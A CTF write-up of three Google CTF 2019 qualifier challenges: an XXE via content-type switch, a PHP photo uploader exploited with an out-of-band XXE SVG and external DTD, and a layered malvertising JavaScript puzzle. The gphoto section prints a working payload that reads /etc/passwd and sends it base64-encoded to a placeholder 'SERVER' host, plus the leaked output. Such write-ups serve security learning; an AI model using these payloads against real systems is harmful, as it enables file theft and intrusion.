# Google CTF 2019 Quals
## bnv (web - 155 pts)
### Description
There is not much to see in this enterprise-ready™ web application.
### Exploit
Content-Type change `application/json` to `application/xml` for XXE Attack.
## gphoto (web - 500 pts)
### Description
Upload your photoz. FYI: /info.php
Alternative: http://gphotos2.ctfcompetition.com:1337
### Exploit
To get source code, change path to `?action=src`. (look view-source index.php)
```htmlmixed=
<?php
require_once('config.php');
error_reporting( E_ALL );
session_start();
// totally not copy&pasted from somewhere...
function get_size($file, $mime_type) {
if ($mime_type == "image/png"||$mime_type == "image/jpeg") {
$stats = getimagesize($file);
$width = $stats[0];
$height = $stats[1];
} else {
$xmlfile = file_get_contents($file);
$dom = new DOMDocument();
$dom->loadXML($xmlfile, LIBXML_NOENT | LIBXML_DTDLOAD);
$svg = simplexml_import_dom($dom);
$attrs = $svg->attributes();
$width = (int) $attrs->width;
$height = (int) $attrs->height;
}
return [$width, $height];
}
function workdir() {
$d = 'upload/'.md5(session_id());
if (!is_dir($d))
mkdir($d);
return $d;
}
function list_photos() {
$d = 'upload/'.md5(session_id());
if (!is_dir($d)) return [];
$result = [];
foreach(glob("{$d}/*.*") as $f) {
if (strrpos($f, 'small') === FALSE)
$result[basename($f)] = $f;
}
return $result;
}
function upload() {
if (!isset($_FILES['photo']))
return;
$p = new PhotoUpload($_FILES['photo']['tmp_name']);
$p->thumbnail();
}
class PhotoUpload {
private $failed = false;
function __construct($path) {
$formats = [
"image/gif" => "gif",
"image/png" => "png",
"image/jpeg" => "jpg",
"image/svg+xml" => "svg",
// Uncomment when launching gVideoz
//"video/mp4" => "mp4",
];
$mime_type = mime_content_type($path);
if (!array_key_exists($mime_type, $formats)) {
die;
}
$size = get_size($path, $mime_type);
if ($size[0] * $size[1] > 65536) {
die;
}
$this->ext = $formats[$mime_type];
$this->name = hash_hmac('md5', uniqid(), $secret).".{$this->ext}";
move_uploaded_file($path, workdir()."/{$this->name}");
}
function thumbnail() {
exec(escapeshellcmd('convert '.workdir()."/{$this->name}".' -resize 128x128 '.workdir()."/{$this->name}_small.jpg"), $out, $ret);
if ($ret)
$this->failed = true;
}
function __destruct() {
if ($this->failed) {
shell_exec(escapeshellcmd('rm '.workdir()."/{$this->name}"));
}
}
}
if (isset($_GET['action'])) {
switch ($_GET['action']) {
case 'upload':
upload();
header('Location: ?');
die;
break;
case 'src':
show_source(__FILE__);
die;
default:
break;
}
}
?>
<html>
<head>
<title>gPhotoz</title>
</head>
<body>
<div>
<form action="?action=upload" method="POST" enctype="multipart/form-data">
<input type="file" name="photo"><input type="submit" value="Upload">
</form>
</div>
<div>
<?php foreach(list_photos() as $name => $path): ?>
<div>
<a href="<?=$path?>" alt="<?=$name?>"><img src="<?=$path.'_small.jpg'?>"></a>
</div>
<?php endforeach ?>
</div>
</body>
<a href="?action=src"></a>
</html>
```
I can upload `png`,`jpg`,`gif`,`svg` at this server.
If upload `svg`, it try to parse using `loadXML` in `get_size` function.
Finally it make thumbnail using ImageMagick.
Its vulnerable to XXE.
Make a payload based on out-of-bound XXE.
oob_xxe.svg:
```xml
<?xml version="1.0"?>
<!DOCTYPE foo [
<!ELEMENT svg ANY>
<!ENTITY % load SYSTEM "http://SERVER/xxe.dtd">
%load;
%temp;
]>
<svg>&exp;</svg>
```
xxe.dtd:
```dtd
<!ENTITY % file SYSTEM "php://filter/convert.base64-encode/resource=/etc/passwd">
<!ENTITY % temp "<!ENTITY exp SYSTEM 'http://SERVER/?%file;'>">
```
After upload oob_xxe.svg in server, we can leak /etc/passwd.
```
root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
bin:x:2:2:bin:/bin:/usr/sbin/nologin
...
```
Next i try to leak ImageMagick config file.
It is default config.
So, i use lots of dangerous commands.
```
drwxr-xr-x 21 user user 4096 Jun 21 07:33 .
drwxr-xr-x 21 user user 4096 Jun 21 07:33 ..
drwxr-xr-x 2 nobody nogroup 4096 Jun 21 07:33 bin
drwxr-xr-x 2 nobody nogroup 4096 Mar 28 09:12 boot
drwxrwxrwt 3 user user 100 Jun 23 23:47 dev
drwxr-xr-x 52 nobody nogroup 4096 Jun 21 07:33 etc
-rw------- 1 admin admin 37 Jun 21 07:26 flag
-rwsr-xr-x 1 admin admin 810616 Jun 4 13:02 get_flag
...
```
Execute get_flag, then got a flag.
**FLAG :** CTF{8d62b2ffc578227e67ca8bab53420ded}
## Malvertising (rev - 140 pts)
### Description
Unravel the layers of malvertising to uncover the Flag
### Exploit
Problem page seems to youtube.
But, It is phising site.
So, We can get malicious js file.(Stage1)
**Stage1** load another js file if access this page with android.(Stage2)
**Stage2** is check some information.
I used below link code for brute force.
When value set `LINUX10000FR1000000MOZILLA`, it load new js file. (Stage3)
```javascript=
var dJs = document.createElement('script');
dJs.setAttribute('src','./src/npoTHyBXnpZWgLorNrYc.js');
document.head.appendChild(dJs);
```
**Stage3** is dirty js code, but it similar to Stage1.
I try to decrypt value using \_0x5877 function.
`_0x5877('0x86', '^9I*')` is return another js file's path.
```
./src/WFmJWvYBQmZnedwpdQBU.js
```
It contain alert code with **flag**.
```
alert("CTF{I-LOVE-MALVERTISING-wkJsuw}")
```
**FLAG :** CTF{I-LOVE-MALVERTISING-wkJsuw}